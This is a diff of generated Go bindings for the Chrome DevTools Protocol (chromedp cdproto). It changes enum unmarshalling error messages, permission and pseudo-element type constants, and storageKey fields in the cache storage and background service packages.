||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch FederatedAuthRequestIssueReason(v) {
|
||||
switch FederatedAuthRequestIssueReason(in.String()) {
|
||||
case FederatedAuthRequestIssueReasonShouldEmbargo:
|
||||
*t = FederatedAuthRequestIssueReasonShouldEmbargo
|
||||
case FederatedAuthRequestIssueReasonTooManyRequests:
|
||||
*t = FederatedAuthRequestIssueReasonTooManyRequests
|
||||
case FederatedAuthRequestIssueReasonWellKnownHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonWellKnownNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownNoResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownListEmpty
|
||||
case FederatedAuthRequestIssueReasonConfigNotInWellKnown:
|
||||
*t = FederatedAuthRequestIssueReasonConfigNotInWellKnown
|
||||
case FederatedAuthRequestIssueReasonWellKnownTooBig:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownTooBig
|
||||
case FederatedAuthRequestIssueReasonConfigHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonConfigHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonConfigNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonConfigNoResponse
|
||||
case FederatedAuthRequestIssueReasonConfigInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonConfigInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonManifestListHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonManifestListNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListNoResponse
|
||||
case FederatedAuthRequestIssueReasonManifestListInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonManifestNotInManifestList:
|
||||
*t = FederatedAuthRequestIssueReasonManifestNotInManifestList
|
||||
case FederatedAuthRequestIssueReasonManifestListTooBig:
|
||||
*t = FederatedAuthRequestIssueReasonManifestListTooBig
|
||||
case FederatedAuthRequestIssueReasonManifestHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonManifestHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonManifestNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestNoResponse
|
||||
case FederatedAuthRequestIssueReasonManifestInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonManifestInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonClientMetadataNoResponse:
|
||||
@@ -1329,8 +1302,6 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonAccountsNoResponse
|
||||
case FederatedAuthRequestIssueReasonAccountsInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonAccountsListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsListEmpty
|
||||
case FederatedAuthRequestIssueReasonIDTokenHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonIDTokenNoResponse:
|
||||
@@ -1347,7 +1318,7 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown FederatedAuthRequestIssueReason value: %v", v))
|
||||
in.AddError(errors.New("unknown FederatedAuthRequestIssueReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1410,8 +1381,7 @@ func (t InspectorIssueCode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch InspectorIssueCode(v) {
|
||||
switch InspectorIssueCode(in.String()) {
|
||||
case InspectorIssueCodeCookieIssue:
|
||||
*t = InspectorIssueCodeCookieIssue
|
||||
case InspectorIssueCodeMixedContentIssue:
|
||||
@@ -1446,7 +1416,7 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = InspectorIssueCodeFederatedAuthRequestIssue
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown InspectorIssueCode value: %v", v))
|
||||
in.AddError(errors.New("unknown InspectorIssueCode value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1528,8 +1498,7 @@ func (t GetEncodedResponseEncoding) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch GetEncodedResponseEncoding(v) {
|
||||
switch GetEncodedResponseEncoding(in.String()) {
|
||||
case GetEncodedResponseEncodingWebp:
|
||||
*t = GetEncodedResponseEncodingWebp
|
||||
case GetEncodedResponseEncodingJpeg:
|
||||
@@ -1538,7 +1507,7 @@ func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GetEncodedResponseEncodingPng
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown GetEncodedResponseEncoding value: %v", v))
|
||||
in.AddError(errors.New("unknown GetEncodedResponseEncoding value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
-7
@@ -518,8 +518,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(in *jlexer
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -588,11 +586,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(out *jwrit
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"storageKey\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+3
-5
@@ -3,7 +3,7 @@ package backgroundservice
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/serviceworker"
|
||||
@@ -46,8 +46,7 @@ func (t ServiceName) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ServiceName(v) {
|
||||
switch ServiceName(in.String()) {
|
||||
case ServiceNameBackgroundFetch:
|
||||
*t = ServiceNameBackgroundFetch
|
||||
case ServiceNameBackgroundSync:
|
||||
@@ -62,7 +61,7 @@ func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ServiceNamePeriodicBackgroundSync
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ServiceName value: %v", v))
|
||||
in.AddError(errors.New("unknown ServiceName value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -91,5 +90,4 @@ type Event struct {
|
||||
EventName string `json:"eventName"` // A description of the event.
|
||||
InstanceID string `json:"instanceId"` // An identifier that groups related events together.
|
||||
EventMetadata []*EventMetadata `json:"eventMetadata"` // A list of event-specific information.
|
||||
StorageKey string `json:"storageKey"` // Storage key this event belongs to.
|
||||
}
|
||||
+16
-34
@@ -3,7 +3,7 @@ package browser
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -50,8 +50,7 @@ func (t WindowState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch WindowState(v) {
|
||||
switch WindowState(in.String()) {
|
||||
case WindowStateNormal:
|
||||
*t = WindowStateNormal
|
||||
case WindowStateMinimized:
|
||||
@@ -62,7 +61,7 @@ func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = WindowStateFullscreen
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown WindowState value: %v", v))
|
||||
in.AddError(errors.New("unknown WindowState value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -104,8 +103,6 @@ const (
|
||||
PermissionTypeDurableStorage PermissionType = "durableStorage"
|
||||
PermissionTypeFlash PermissionType = "flash"
|
||||
PermissionTypeGeolocation PermissionType = "geolocation"
|
||||
PermissionTypeIdleDetection PermissionType = "idleDetection"
|
||||
PermissionTypeLocalFonts PermissionType = "localFonts"
|
||||
PermissionTypeMidi PermissionType = "midi"
|
||||
PermissionTypeMidiSysex PermissionType = "midiSysex"
|
||||
PermissionTypeNfc PermissionType = "nfc"
|
||||
@@ -114,13 +111,11 @@ const (
|
||||
PermissionTypePeriodicBackgroundSync PermissionType = "periodicBackgroundSync"
|
||||
PermissionTypeProtectedMediaIdentifier PermissionType = "protectedMediaIdentifier"
|
||||
PermissionTypeSensors PermissionType = "sensors"
|
||||
PermissionTypeStorageAccess PermissionType = "storageAccess"
|
||||
PermissionTypeTopLevelStorageAccess PermissionType = "topLevelStorageAccess"
|
||||
PermissionTypeVideoCapture PermissionType = "videoCapture"
|
||||
PermissionTypeVideoCapturePanTiltZoom PermissionType = "videoCapturePanTiltZoom"
|
||||
PermissionTypeIdleDetection PermissionType = "idleDetection"
|
||||
PermissionTypeWakeLockScreen PermissionType = "wakeLockScreen"
|
||||
PermissionTypeWakeLockSystem PermissionType = "wakeLockSystem"
|
||||
PermissionTypeWindowManagement PermissionType = "windowManagement"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -135,8 +130,7 @@ func (t PermissionType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PermissionType(v) {
|
||||
switch PermissionType(in.String()) {
|
||||
case PermissionTypeAccessibilityEvents:
|
||||
*t = PermissionTypeAccessibilityEvents
|
||||
case PermissionTypeAudioCapture:
|
||||
@@ -157,10 +151,6 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionTypeFlash
|
||||
case PermissionTypeGeolocation:
|
||||
*t = PermissionTypeGeolocation
|
||||
case PermissionTypeIdleDetection:
|
||||
*t = PermissionTypeIdleDetection
|
||||
case PermissionTypeLocalFonts:
|
||||
*t = PermissionTypeLocalFonts
|
||||
case PermissionTypeMidi:
|
||||
*t = PermissionTypeMidi
|
||||
case PermissionTypeMidiSysex:
|
||||
@@ -177,23 +167,19 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionTypeProtectedMediaIdentifier
|
||||
case PermissionTypeSensors:
|
||||
*t = PermissionTypeSensors
|
||||
case PermissionTypeStorageAccess:
|
||||
*t = PermissionTypeStorageAccess
|
||||
case PermissionTypeTopLevelStorageAccess:
|
||||
*t = PermissionTypeTopLevelStorageAccess
|
||||
case PermissionTypeVideoCapture:
|
||||
*t = PermissionTypeVideoCapture
|
||||
case PermissionTypeVideoCapturePanTiltZoom:
|
||||
*t = PermissionTypeVideoCapturePanTiltZoom
|
||||
case PermissionTypeIdleDetection:
|
||||
*t = PermissionTypeIdleDetection
|
||||
case PermissionTypeWakeLockScreen:
|
||||
*t = PermissionTypeWakeLockScreen
|
||||
case PermissionTypeWakeLockSystem:
|
||||
*t = PermissionTypeWakeLockSystem
|
||||
case PermissionTypeWindowManagement:
|
||||
*t = PermissionTypeWindowManagement
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PermissionType value: %v", v))
|
||||
in.AddError(errors.New("unknown PermissionType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -231,8 +217,7 @@ func (t PermissionSetting) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PermissionSetting(v) {
|
||||
switch PermissionSetting(in.String()) {
|
||||
case PermissionSettingGranted:
|
||||
*t = PermissionSettingGranted
|
||||
case PermissionSettingDenied:
|
||||
@@ -241,7 +226,7 @@ func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionSettingPrompt
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PermissionSetting value: %v", v))
|
||||
in.AddError(errors.New("unknown PermissionSetting value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -291,15 +276,14 @@ func (t CommandID) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CommandID) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CommandID(v) {
|
||||
switch CommandID(in.String()) {
|
||||
case CommandIDOpenTabSearch:
|
||||
*t = CommandIDOpenTabSearch
|
||||
case CommandIDCloseTabSearch:
|
||||
*t = CommandIDCloseTabSearch
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CommandID value: %v", v))
|
||||
in.AddError(errors.New("unknown CommandID value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -356,8 +340,7 @@ func (t DownloadProgressState) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DownloadProgressState(v) {
|
||||
switch DownloadProgressState(in.String()) {
|
||||
case DownloadProgressStateInProgress:
|
||||
*t = DownloadProgressStateInProgress
|
||||
case DownloadProgressStateCompleted:
|
||||
@@ -366,7 +349,7 @@ func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DownloadProgressStateCanceled
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DownloadProgressState value: %v", v))
|
||||
in.AddError(errors.New("unknown DownloadProgressState value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -408,8 +391,7 @@ func (t SetDownloadBehaviorBehavior) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SetDownloadBehaviorBehavior(v) {
|
||||
switch SetDownloadBehaviorBehavior(in.String()) {
|
||||
case SetDownloadBehaviorBehaviorDeny:
|
||||
*t = SetDownloadBehaviorBehaviorDeny
|
||||
case SetDownloadBehaviorBehaviorAllow:
|
||||
@@ -420,7 +402,7 @@ func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetDownloadBehaviorBehaviorDefault
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetDownloadBehaviorBehavior value: %v", v))
|
||||
in.AddError(errors.New("unknown SetDownloadBehaviorBehavior value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+7
-17
@@ -63,8 +63,7 @@ func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// RequestCacheNamesParams requests cache names.
|
||||
type RequestCacheNamesParams struct {
|
||||
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
|
||||
StorageKey string `json:"storageKey,omitempty"` // Storage key.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin.
|
||||
}
|
||||
|
||||
// RequestCacheNames requests cache names.
|
||||
@@ -72,21 +71,12 @@ type RequestCacheNamesParams struct {
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCacheNames
|
||||
//
|
||||
// parameters:
|
||||
func RequestCacheNames() *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{}
|
||||
}
|
||||
|
||||
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
|
||||
// must be specified. Security origin.
|
||||
func (p RequestCacheNamesParams) WithSecurityOrigin(securityOrigin string) *RequestCacheNamesParams {
|
||||
p.SecurityOrigin = securityOrigin
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithStorageKey storage key.
|
||||
func (p RequestCacheNamesParams) WithStorageKey(storageKey string) *RequestCacheNamesParams {
|
||||
p.StorageKey = storageKey
|
||||
return &p
|
||||
//
|
||||
// securityOrigin - Security origin.
|
||||
func RequestCacheNames(securityOrigin string) *RequestCacheNamesParams {
|
||||
return &RequestCacheNamesParams{
|
||||
SecurityOrigin: securityOrigin,
|
||||
}
|
||||
}
|
||||
|
||||
// RequestCacheNamesReturns return values.
|
||||
|
||||
+1
-21
@@ -554,8 +554,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage5(in *jlexer.Lexe
|
||||
switch key {
|
||||
case "securityOrigin":
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -570,22 +568,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage5(out *jwriter.Wr
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if in.SecurityOrigin != "" {
|
||||
{
|
||||
const prefix string = ",\"securityOrigin\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.SecurityOrigin))
|
||||
}
|
||||
if in.StorageKey != "" {
|
||||
const prefix string = ",\"storageKey\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
@@ -1116,8 +1103,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage11(in *jlexer.Lex
|
||||
out.CacheID = CacheID(in.String())
|
||||
case "securityOrigin":
|
||||
out.SecurityOrigin = string(in.String())
|
||||
case "storageKey":
|
||||
out.StorageKey = string(in.String())
|
||||
case "cacheName":
|
||||
out.CacheName = string(in.String())
|
||||
default:
|
||||
@@ -1144,11 +1129,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage11(out *jwriter.W
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.SecurityOrigin))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"storageKey\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.StorageKey))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"cacheName\":"
|
||||
out.RawString(prefix)
|
||||
|
||||
+3
-5
@@ -3,7 +3,7 @@ package cachestorage
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/mailru/easyjson"
|
||||
"github.com/mailru/easyjson/jlexer"
|
||||
@@ -52,8 +52,7 @@ func (t CachedResponseType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CachedResponseType(v) {
|
||||
switch CachedResponseType(in.String()) {
|
||||
case CachedResponseTypeBasic:
|
||||
*t = CachedResponseTypeBasic
|
||||
case CachedResponseTypeCors:
|
||||
@@ -68,7 +67,7 @@ func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CachedResponseTypeOpaqueRedirect
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CachedResponseType value: %v", v))
|
||||
in.AddError(errors.New("unknown CachedResponseType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -97,7 +96,6 @@ type DataEntry struct {
|
||||
type Cache struct {
|
||||
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
|
||||
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
|
||||
StorageKey string `json:"storageKey"` // Storage key of the cache.
|
||||
CacheName string `json:"cacheName"` // The name of the cache.
|
||||
}
|
||||
|
||||
|
||||
+60
-71
@@ -4,6 +4,7 @@ package cdp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -166,31 +167,31 @@ func (t PseudoType) String() string {
|
||||
|
||||
// PseudoType values.
|
||||
const (
|
||||
PseudoTypeFirstLine PseudoType = "first-line"
|
||||
PseudoTypeFirstLetter PseudoType = "first-letter"
|
||||
PseudoTypeBefore PseudoType = "before"
|
||||
PseudoTypeAfter PseudoType = "after"
|
||||
PseudoTypeMarker PseudoType = "marker"
|
||||
PseudoTypeBackdrop PseudoType = "backdrop"
|
||||
PseudoTypeSelection PseudoType = "selection"
|
||||
PseudoTypeTargetText PseudoType = "target-text"
|
||||
PseudoTypeSpellingError PseudoType = "spelling-error"
|
||||
PseudoTypeGrammarError PseudoType = "grammar-error"
|
||||
PseudoTypeHighlight PseudoType = "highlight"
|
||||
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
|
||||
PseudoTypeScrollbar PseudoType = "scrollbar"
|
||||
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
|
||||
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
|
||||
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
|
||||
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
|
||||
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
|
||||
PseudoTypeResizer PseudoType = "resizer"
|
||||
PseudoTypeInputListButton PseudoType = "input-list-button"
|
||||
PseudoTypeViewTransition PseudoType = "view-transition"
|
||||
PseudoTypeViewTransitionGroup PseudoType = "view-transition-group"
|
||||
PseudoTypeViewTransitionImagePair PseudoType = "view-transition-image-pair"
|
||||
PseudoTypeViewTransitionOld PseudoType = "view-transition-old"
|
||||
PseudoTypeViewTransitionNew PseudoType = "view-transition-new"
|
||||
PseudoTypeFirstLine PseudoType = "first-line"
|
||||
PseudoTypeFirstLetter PseudoType = "first-letter"
|
||||
PseudoTypeBefore PseudoType = "before"
|
||||
PseudoTypeAfter PseudoType = "after"
|
||||
PseudoTypeMarker PseudoType = "marker"
|
||||
PseudoTypeBackdrop PseudoType = "backdrop"
|
||||
PseudoTypeSelection PseudoType = "selection"
|
||||
PseudoTypeTargetText PseudoType = "target-text"
|
||||
PseudoTypeSpellingError PseudoType = "spelling-error"
|
||||
PseudoTypeGrammarError PseudoType = "grammar-error"
|
||||
PseudoTypeHighlight PseudoType = "highlight"
|
||||
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
|
||||
PseudoTypeScrollbar PseudoType = "scrollbar"
|
||||
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
|
||||
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
|
||||
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
|
||||
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
|
||||
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
|
||||
PseudoTypeResizer PseudoType = "resizer"
|
||||
PseudoTypeInputListButton PseudoType = "input-list-button"
|
||||
PseudoTypePageTransition PseudoType = "page-transition"
|
||||
PseudoTypePageTransitionContainer PseudoType = "page-transition-container"
|
||||
PseudoTypePageTransitionImageWrapper PseudoType = "page-transition-image-wrapper"
|
||||
PseudoTypePageTransitionOutgoingImage PseudoType = "page-transition-outgoing-image"
|
||||
PseudoTypePageTransitionIncomingImage PseudoType = "page-transition-incoming-image"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -205,8 +206,7 @@ func (t PseudoType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PseudoType(v) {
|
||||
switch PseudoType(in.String()) {
|
||||
case PseudoTypeFirstLine:
|
||||
*t = PseudoTypeFirstLine
|
||||
case PseudoTypeFirstLetter:
|
||||
@@ -247,19 +247,19 @@ func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PseudoTypeResizer
|
||||
case PseudoTypeInputListButton:
|
||||
*t = PseudoTypeInputListButton
|
||||
case PseudoTypeViewTransition:
|
||||
*t = PseudoTypeViewTransition
|
||||
case PseudoTypeViewTransitionGroup:
|
||||
*t = PseudoTypeViewTransitionGroup
|
||||
case PseudoTypeViewTransitionImagePair:
|
||||
*t = PseudoTypeViewTransitionImagePair
|
||||
case PseudoTypeViewTransitionOld:
|
||||
*t = PseudoTypeViewTransitionOld
|
||||
case PseudoTypeViewTransitionNew:
|
||||
*t = PseudoTypeViewTransitionNew
|
||||
case PseudoTypePageTransition:
|
||||
*t = PseudoTypePageTransition
|
||||
case PseudoTypePageTransitionContainer:
|
||||
*t = PseudoTypePageTransitionContainer
|
||||
case PseudoTypePageTransitionImageWrapper:
|
||||
*t = PseudoTypePageTransitionImageWrapper
|
||||
case PseudoTypePageTransitionOutgoingImage:
|
||||
*t = PseudoTypePageTransitionOutgoingImage
|
||||
case PseudoTypePageTransitionIncomingImage:
|
||||
*t = PseudoTypePageTransitionIncomingImage
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PseudoType value: %v", v))
|
||||
in.AddError(errors.New("unknown PseudoType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -297,8 +297,7 @@ func (t ShadowRootType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ShadowRootType(v) {
|
||||
switch ShadowRootType(in.String()) {
|
||||
case ShadowRootTypeUserAgent:
|
||||
*t = ShadowRootTypeUserAgent
|
||||
case ShadowRootTypeOpen:
|
||||
@@ -307,7 +306,7 @@ func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ShadowRootTypeClosed
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ShadowRootType value: %v", v))
|
||||
in.AddError(errors.New("unknown ShadowRootType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -345,8 +344,7 @@ func (t CompatibilityMode) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CompatibilityMode(v) {
|
||||
switch CompatibilityMode(in.String()) {
|
||||
case CompatibilityModeQuirksMode:
|
||||
*t = CompatibilityModeQuirksMode
|
||||
case CompatibilityModeLimitedQuirksMode:
|
||||
@@ -355,7 +353,7 @@ func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CompatibilityModeNoQuirksMode
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CompatibilityMode value: %v", v))
|
||||
in.AddError(errors.New("unknown CompatibilityMode value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -667,8 +665,7 @@ func (t NodeType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.Int64()
|
||||
switch NodeType(v) {
|
||||
switch NodeType(in.Int64()) {
|
||||
case NodeTypeElement:
|
||||
*t = NodeTypeElement
|
||||
case NodeTypeAttribute:
|
||||
@@ -695,7 +692,7 @@ func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = NodeTypeNotation
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown NodeType value: %v", v))
|
||||
in.AddError(errors.New("unknown NodeType value"))
|
||||
}
|
||||
}
|
